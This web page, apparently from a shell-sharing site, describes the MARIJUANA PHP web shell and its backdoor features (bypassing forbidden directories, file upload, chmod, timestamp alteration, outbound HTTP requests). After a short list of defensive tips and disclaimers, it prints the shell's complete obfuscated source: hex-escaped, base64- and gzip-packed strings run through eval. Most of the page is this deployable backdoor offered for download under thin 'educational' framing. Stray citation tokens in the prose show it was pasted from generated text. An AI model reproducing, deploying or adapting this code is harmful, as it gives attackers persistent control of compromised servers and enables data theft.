Understanding the MARIJUANA Web Shell: Features and Security Implications
The MARIJUANA web shell is a backdoor tool developed in PHP with stealth capabilities designed to bypass server security measures. Each function within this web shell is encoded in hexadecimal format to evade Web Application Firewalls (WAFs). :contentReference[oaicite:0]{index=0}
⚠️
Warning: The use of web shells like MARIJUANA poses significant security risks. Unauthorized deployment can lead to severe legal and ethical consequences.
Key Features of the MARIJUANA Web Shell
- No URL Reload (AJAX): Enhances user experience by updating content without refreshing the page.
- Bypass Forbidden: Allows access to restricted directories or files.
- Multiple File Upload (Auto Submit): Facilitates the uploading of multiple files simultaneously.
- Unzip Functionality: Enables decompression of ZIP archives directly on the server.
- Non-Empty Directory Removal: Permits deletion of directories regardless of their content.
- HTTP Requests: Supports sending HTTP requests to other servers.
- File Download: Allows downloading of files from the server.
- Rename Function: Enables renaming of files or directories.
- Base64 Encode/Decode (AJAX): Provides encoding and decoding of data in Base64 format.
- CHMOD: Allows modification of file or directory permissions.
- Change Timestamp: Enables alteration of file or directory timestamps.
- Create New File and Directory: Facilitates creation of new files or directories on the server.
Potential Risks and Security Concerns
While tools like the MARIJUANA web shell offer functionalities that can be used for legitimate purposes, they are often associated with malicious activities, including unauthorized server access, data theft, and server compromise. :contentReference[oaicite:1]{index=1}
ℹ️
Note: It’s crucial to ensure that your server is secured against unauthorized access and that any tools or scripts used are from trusted sources.
Indicators of Compromise (IoCs)
Security agencies have identified certain indicators associated with malicious deployments of web shells like MARIJUANA. :contentReference[oaicite:2]{index=2}
Protective Measures
To safeguard your server against potential threats posed by web shells:
- Regularly update and patch your server software to address known vulnerabilities.
- Implement robust authentication mechanisms to prevent unauthorized access.
- Monitor server logs for unusual activities that could indicate a security breach.
- Utilize security tools that can detect and block malicious scripts or backdoors.
⚠️
Disclaimer: This information is provided for educational purposes only. Unauthorized use of web shells can lead to severe legal consequences.
Php
<?php
/* _________________________________________________________________________________
| Project: R00t-Shell.com - Php Obfuscator 2.0.15 |
| Author: R00t Shell |
| Date: 2025-02-18 06:45:35 |
| Website: https://r00t-shell.com |
| Virus Total: 1ff50cf31c1e4caa75ec8c1339ef4ab1a0c566a0a8ac4bf871135452765c83f6 |
| Description: Obfuscates PHP code to increase security and protect source code. |
|_________________________________________________________________________________|
*/
$Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1K\x42rNK85Pz\x63gqLU4mLq\x43\x43\x63lFqe\x61m\x63Snp\x43\x62np6Rq\x41O0sSi3TUPHJrNBE\x41tY\x41";
$Lix = "g\x41h\x2b4Ok\x43/8j6Do\x43Mfx/gM\x2b/8uifV0DDZsFz5P\x41XX\x43nSik\x41qg3hyNiZlvJ/\x62ospdtLWg\x41pVD4yv\x638xM\x62oz\x414HELNeZ1O4\x63H\x639Q9Nw29SpqqjPK\x42n\x2bOizhhjhXpyq\x61WmOI2Fh5\x2b\x43fWpKjtNm\x61/YTOfx3YUPgh1O9o\x41NLHI\x43zVQRPY\x43Mx\x63G8ZlEj\x62pEep\x63pE\x2botpGWKtz\x61JnVLh4OepEeJvwKp9Wh6OiOg9PmE\x2bfQqGY\x63zEsHH1UhR1D989QtXHq\x41IkYzvmi\x2b5Leiw7KZEV0i0fY/gQNYM\x63s5F\x42Tj3UVGOHvuRtvpgS8KSVjf3s\x43\x625rIULedvMeTVd4e86Gw\x2bq\x43x5dEHjX3\x63Dvp\x62IMMezx5uFSDz4eG\x41\x2bV0/DQZvXiSV\x2bTzpESyNj23\x4179\x2bI\x62V8l\x2bGDJ16sTZ5T8Q/sO/VzxKOeH\x62Qn\x63QyfyO\x63hQ7OEzKGGQqf\x63JRd2kiWnGrkUY94\x41Sq5hpwptz\x62PFS\x2bYsFN\x61ZgUW016Hyrid\x43d1Ly\x43\x63Rg7Rsvt\x43uIIHn3WniFRM\x41xRv1\x2bevK8Ql\x2bogsGsstErLoyfJV1/5s\x61r\x63IRSd8f\x62Sul/Rdn9RH3E\x2bgqmsYVMgup/rX/L\x43ne7X\x625IsIqzxJO\x610j9enxdRDJroGLdGF\x42YNsnjXn\x41Yem8kD1h\x62KiwtY\x2b46r5tN\x42\x62s9vuN\x62j49nI0w/NxKf\x637\x62\x61\x2b8DwD0LPv3nuXEi3Q79QnfId\x617vNoTje1NGILznh\x42Q9UKU\x41klUZttM\x427XFSZ\x41GS\x41DgGrPPpjMumZzOJL0p\x41w\x43vnDSlGKeW\x61zyDi3J111nf5jDfkDPIPgWVP9\x43Tp\x632d3kE\x42i\x63ygI\x625lWL\x635pZ\x2b/Gh18G\x42yNoE\x42\x43\x2bt\x2bqMtPHY/\x62SssrLQ58Q3xhjjR\x41di\x42winn5YOHfV\x63xl083hQK4u\x62K\x2b\x62m\x618ZMF\x61f1ED6NJnEz\x42UW1RzyUUOTvzoo\x62\x62UJ4F1\x42LmZruK58VJU/6YKVdvfmeWd0\x42sE2TRpV\x43Koynsrdw0sF/0QzFnN8\x42jjkeEXpsUftUms4V2LjN\x2brMIvtk\x41d1wxH/Q\x41/khn\x42E\x2b42lvt0tDGG\x63zX0UpwdO/nqKZ\x43hts/\x2bs5DMoeQGVvOp0\x638UyrO\x62em\x418RjQ6H8lIWkjsHrYW\x42VDe99\x62i1NhP\x42MKmep3knY\x41/l\x61\x2b8d/xXq27DQWq\x63\x425NXDr\x43P8\x62\x63p0W4dr9xrZ\x62k/9EyU3klynPl/hl\x62\x41v65rY\x42Omj\x2bHDx/25X0FiD0p\x63h2x\x2b1\x2bW9X9iiLN\x41l1Mf2\x63LIJ\x63K3zs/wr2GvTXgVz0D\x2bT4QN15yIU3QOgIW4uVu15IPHL\x2bO3y\x41lL9IST\x2bQ6uG\x42kw5\x62emgGdK\x619XZli/VMEzk\x434\x2bMi3Hs9v\x41R49GmMyE/G92nExMXJvxs42uMHxd3Ox\x43tHfXMd\x428\x43H8eRjXPys7Gk9/Vdg\x2b\x63ZUxf6\x41H46tz9hRkNsz9dX/\x61MO3q5WNP\x61NRouv\x41WRF\x412LHYRG\x41jvtjVu/DY\x41Z\x2b\x61miUmEj\x2b9LQ\x41K\x61Oq8EIRU\x42YNF6uRgo20hWjs0kU5p\x42L2m6mdhT\x43\x61Stq\x63RqiKJWL\x611gw0E0\x41/\x43XiTGinsRIQ8y6UFJ6kuRYtQsTRlwVU2h4IlLEqKf\x41SGD13I2L1Y1K\x611sfdU\x63rUz\x42N\x63\x43QVFlET\x6372NzGj3Ogj2hSExP\x42Ek\x43NHPyQq\x61HY\x2b3WI//d\x43iitO4u8K\x41PHGOYXjXJ\x632ze3I03f/udzseykXFO//Nyn5x9xPOTwE2O4sg02HytdL5XJWREI3iZDE\x62qDGLNnPjp4XgKVFU9Gevhu7EXYQr6hQDO2NgpUHqL7w4jVjPs/hSiG\x2b1\x42M7fgDd\x424ev69onDGYW/\x41P/8\x619\x42mp\x63wmHNPf\x63GR\x63N8Zns\x62w2gW0OwMPP\x438M9HuhsxWoo6zio6E7X\x2b77\x61NE\x63uj7\x61\x62gQ\x42Xdh\x41GZ6mWMG7\x439fSd4g\x41QV\x63\x62M\x2bXmxW\x611\x42O6U\x42wVM3gTiqwNE5\x62\x63123Qm\x43HfeSPqhilO25ZT\x2bp/3ySlW\x2bkTHuXuTOdle\x421NXepe\x62Rh\x43S5Nt9\x41tTTWdwun5\x61lHLyN/y5U5ixvtisw/\x62N5H57j\x62do5LwL\x61l/EW3F16I5/oWXm/pE84Opulnhtq8s5JXg68HrDf4\x41RR/NZ\x2blTgS1t6f\x62kZdgPopFJ\x63\x63eufH68iHMl0kO\x63QY4\x41jgExMTp/26T9pfE\x2bdhP\x62\x2b\x438mn\x62X9\x63WTNn145NXv3IMf\x4230u5vQreruy\x62P/Re1dSIDzHX7Isp4kxs2hZHw\x62t8iJdEEn0Xpy4\x43diFyRoOpYYMn45f8idp\x2bI\x2b3GnznMDV28mF0fIHd\x43\x42UzKV76Q3UyV4\x63OzyrZJeYjWv/\x62Gvh7YSl3Qet\x41nvLszUsGIhIf7L1ow4Qi\x62miiTdM\x42mkr\x2bDZx\x42qF38TVKnm\x62YNt\x41/4N1DxdPD9fOM3j\x63\x62mpJ2NS8zg\x617MpK\x2b/KEXeMS7oG/0GRLkJ\x62WXsQNmjtilVG\x2bSu8JDR\x621z1PlQ\x415MMoPG2VHmukXzxtsW/9HM15I3L7\x43\x63q/GH\x63K\x61\x42I/h9RmSfyfoM\x61\x42ozS5hXgtThJtYf3\x63NR4e\x61KtHwzpkm\x62iYLyNqw\x41nIKdIMhJyxZOhYu2JVuyT0\x43IrwsK5EOwxIJ\x41/jgwSvGF\x62Z5fx9TJ8xd2ggUUvk\x429YlU\x43VUIWq7RyDp2HZu6\x4240XDhxSSo\x61\x2bM\x41XN1\x42jdix4\x610L\x62eQXi1nXyglEN4dPUHRv6D6zEr88EkV2jUdWYP5LLr/NP2znlqlm\x61\x428Kfelt4Rq9ktj\x63fjn0Heyfp1Kjy\x418\x42UjfD\x41SsG\x42sIY1PmX9w\x2byg6r0x\x43\x43FwMgoIDom\x42PNloPJR\x41sT\x62yInhnUksXp4\x635NwPLi\x2b3\x42g9nLijw7T\x61JyGP/\x2bMSkg\x43em60wP6ZRGL5ftotqrz0Ryp8zwJHENs\x619\x41Jj9\x42\x42MtgXyeMm\x63kUlSrOUxd\x61IdDttIVj6PyOO5/tNG1Ko\x426ukYw6n195Quvo2\x42iW\x61G75WQRsWeVz00oR4u/4V9GrsJ\x62/vnwzTu5HT40hz\x41LL4D5kt\x43\x42mUQ3SoSw8\x43zNO\x636L\x63STx\x410G3Jl\x61lJSOdtTQgVSft470yidnwKKKj\x42kHFM3YiGRZRWi6om1U\x2bZPDK3hi5OVRWrVJtq\x63FoUWH8qLOW5PhRi77MgDjiEdKWQlSs5UJsjtlV4YqNvUhj\x41/VFk8g4kndItDkyNT\x41\x42o\x2bGwxwZoqn9M04l\x42\x61OWFXxDKlOQdRdNx2t7\x42rWsj9WLjxTSgi\x61\x41PK\x43u\x2b\x63hTgVue\x61v\x62j4lpOZdI\x62\x42X\x61Evy9LuPu\x63\x41PGzkrY5Lw9QF4N2Ijey8P\x434QvfK0DsRV\x63tT\x41kUwjWHXoGEqQNJQVf\x43e\x63wQL\x42xd0mNv\x62EnJT10wyY9pI\x43HEk/F\x42nJ0Kxle\x63\x2bUsG4oxj\x6251t2yY3sd\x2bfKdJK\x621Uzx6N5I4G2\x41\x617\x43TpNwSi9WDWZrMRWI\x42lVK0Vrp\x61\x425\x43\x43\x42\x63LGPiPxYHmOMzwoHgeIUpXZ\x63tE/mW\x62mf1z\x43z\x41vZEesoWiz5M2R3wQG01w9Ey05\x63\x43Qi\x63G/I9EsMN9OHXPeDjKNHRZMEze\x41/gwt\x41F1n\x42iom\x43GfFki\x63uGXiK\x2b\x63/w4Hh\x4308\x412NXevUqwIINpq/NGnT\x41Nuo\x43YJOw2s\x63e\x43Ur1GTlwSi2pDHVh\x62K2mOoyUlqSSypWXLlX\x622xn9\x63jH\x43p\x63F\x2bQ\x43Dq3k78/ugNW\x2bivVQls\x2b\x61FRwdH\x2btksRfLS32QRr5\x63K0MVlmRVYjhX7xG5\x61Qu8w6\x2bmzuI\x43EXSVOXI\x41FHj4E\x63\x43ZR41KpZpu\x42vXKg6HYzF2EEsYX9fo\x2bOhheeL\x635d\x42orkWnL\x61\x61Qw2d9tmnEPhhfHG6zZehL\x622\x417X\x2bszLvw4rk1v\x63Iz4hDunwpq\x42Q7ho0LzSoi6Kik6Q\x42xlIdR45osge5wewD\x42u\x43k5KP\x41JuVne/0ZMIXO1ge\x61xxSz\x43v\x428kS\x42Io5kggTGgYr8MPj1UGUf3z\x41tzsEH50Eo\x62MPZL\x63kGT0UguWK3e2e36ywkG\x2bdkJuX622llgYJ12201EzQwHi9eHuZ5mIM\x63LgkNk\x61WP6zHQ\x41JZHNIU\x63VMdd893dHfiWol2QLYHXMYlkTx\x62ZYUE\x63o\x42v4/TQQo\x41OhlyuG1RM4NNVVme\x63yiKn\x42\x61OsHG\x62SI9YM\x41z678z7nf\x2bEiZugmXryT9rlSZYgWuG\x43\x41\x43\x43\x42YItR2rx/wJ4dvv\x42Xu8M\x432xVV0SOI1s3vOt8W\x2bxg2jRV\x635G\x61yUpXXMXOzsxz6euIukO7r4Z40FUgRYJ9hKZMtISwJiYgNYjNU26glWrf\x43Kn2EgmiM5I2sSK0GedDUFXzTnd8sIKMMnzPfsguxj\x2byD1j\x42\x61ef64hrrz0IRf7\x2bqLJVq\x63Ve8\x62wLOS9lMzNmPRiLYUuTgXgtSRSPQtQ\x63WtWMQphoz7\x61WKwu\x2bmn\x63kv/05v\x637I6gt8yQYu4FyK8D2o/1g2q\x2bGkz\x2bZWQh0Gml5m1\x43nzWFf6Y9Dx\x43/Og5l\x63M\x2bxeZpfZEWfRX\x42vNw\x4282\x42UPMvw7v7\x2bF\x63e1pLsiOqTn1l4zo\x41\x41TuHP57vKlSynF\x41\x43F\x61Is\x2b/ZSe\x62HmFRGvVpJ\x61V\x41QnD\x6291mK1DPRyEuw\x61noJ19z\x63Ku0jUZWVK16\x61\x43E0v26Wuml\x43o9pOm\x41YDpyRmfvQ9gJS\x42tumiWNUL\x43fvTdGXGY9O\x438KnqDfxMHtZZz\x63J0e\x63MX\x2bk0\x43qn\x2bt8mje9VQ6f1YOHnlQ/ZUTs81rxvWj3\x62\x42N\x62vXYQjpDDf33k3Le\x61yljl2K0m\x43giWZEfixSMEYp8fgDqtupk5JQDTWSW\x616yfoIwY1YKIur0yVpwINoPho\x43Sj\x63\x61GuTnJIpKKn56\x61h\x62RMO2Sdheuw8XUL\x2br\x2b38rvZ\x42wH\x62nr8yFUJ/ERIdTqSunZp\x61jJ26FznDEWyyyiWxl\x61zxUrpToSN1q\x43oevU0wo\x2bH8\x43ewnL9t654f9eE9\x63qVu\x426oy3Ko5VW\x624Qe6FwLiuSoDFKWrGpl\x41\x62GP\x2bEsd2o8JRxX\x63N9MnO1ypQ\x42muFYqGhFxH\x43Tp76Ztpu3XVVNs\x61g\x61Yuldo190\x420\x43qw1\x43SY\x438ipn\x61NSR0piEV7k\x63Ue\x63EZvHRqnxRK5Q7Un5K5tgKV9hxqnRnp\x42u\x61KzduQ7\x62NiRVDtjuFQYjVjsW9fU\x62u\x2bqsGzf\x43wQ\x427IgWS\x62S37mUNSM0wR6MNZWq\x62N4hfOxShN7U3Nk/EZp\x63/65NW1uJrXMrUGPr0\x2brotpL7NiX\x61NpwSU65\x63mq6qgpJ91rl9mXFT\x41/\x61lysv4JS9YR\x61Rv\x424DTLUeD7lWlKsGVfRtpffrINz6qi7/xEGojmUj\x62PmOoymP\x62fnRyKoLWTM5elMSX4\x62HhZnnEhQN1F3MV\x41VWJNnVGDW54KZW/Vwfk\x61y\x2bDN1SsZl2\x41l\x41krh\x2bl0OUE4\x42VzUqkWEql3\x61xYkPxRJr\x41oQNulD3tt\x63EG70WoFr76o\x2bG7NTj9tY\x62lUy5\x2bqygz\x62Nz\x63\x634xV62dRK\x61R30he2\x43IX\x41\x423mudKhPj66WHD/6R\x621wnZ4L/Wv3D/qzSnujZ\x43uN\x41\x2b6\x2bm\x61\x2b9V5\x2bsT\x2b\x63v\x63srP9\x61Ne\x41o6kVlO\x41DxE12q7\x43t1SrS9RgjV4VG4iFSj/hLthVFZ\x61p4\x43PwEiuwXrM\x41\x418iohrGo\x62Nk6\x61JO\x42Uzs1L82Rs\x42E\x2b\x615gOXsFmZHx8n\x43\x2b03XWzrXl\x2bz7\x619\x2b1\x62PiGTnVk7R\x63je\x62Z\x438Y3\x2bN75z/R\x419Oym/9\x62/K\x41\x43\x61R3US1uOso7\x61d9\x62Rv1DlVPT\x61\x63df\x41yQG66EjrGLrFuQDGWEg\x639x2inP\x2bQ9JIy0KzzT9\x41\x42WpRuhxX4vw1Q\x63GjPDO51uEzn\x42pizDki\x61GGMhs4YsIXz0WMqWU3i16M8dJ6Th\x41r6hrmfw464Ml06wrxY\x63oW/1kmtgj\x63kV7KxO\x42FYR\x41EUPF1\x43hxfx\x43o6/TV4W\x42dt88yx\x41IsZK\x43xo2\x41\x61N2g1NsN1FgTN\x63iP\x41Edv\x4356FGuWTIV6GyS\x2b\x41O\x62yxR\x42KOqLT4Y8KDJsPKhw0VXTmpY8OFoEwlZN\x62uEDj\x4216KYgW\x63KD\x41\x42J\x43wejzyZI4s\x63E\x41p7D\x2bD\x42khVMZMoLplHnySnmgw\x41zj5gTX\x430\x62dy6U\x41yiK8ygiW\x41\x62EHgUkX1GVygsM1s\x43QNG9P8PSg\x42kV1vDMi2RHt\x2brK\x2b\x42Z\x426kh\x62ovEqF6\x43ULIVpM\x41ej\x61/K1I6F\x2b\x61UjqW9q\x426\x41HFkK085qeh\x62/qV/Q63Zd1fy6UlWUo2veNOw\x63KjU/2t\x2bltqzoN\x61tjU62PUNqUH\x63wVr3ey0Ko1rj\x61\x63rU/8\x63Nq\x2bv1\x41XeKFG\x42TYxtWXMOmNLg\x43QmVzxu\x42UfH300UnSk\x2br5\x61q1oMXmqT2XPRpz\x616J1Ygmnniu\x61FWiLr2\x61QKpke\x61qjZ2lJr5K\x63/63\x2b\x43vvwLrK\x6212gkZqr\x621nq\x62qPf61n391VgSr/i2TOrJ\x41X/qWz59v7/MWgixgSUMSYEJiupH7Q\x638Jmwm8WQ8U\x2boN\x42fKiNk4\x61W54h8r\x61nf\x61LS\x61P3\x6170e71Lh\x43\x42wJetruEVEQ7lLhG\x42wJetrtElEQ7VLhK\x42wJetrsE1EQ7FLhO\x42wJe";
eval(htmlspecialchars_decode(gzinflate(base64_decode($Cyto))));
exit;
?>
Warning: The content shared on this site is for informational and educational purposes only. Any responsibility that may arise from the use of the sharing belongs entirely to the user. The site management is not responsible for the misuse of the content.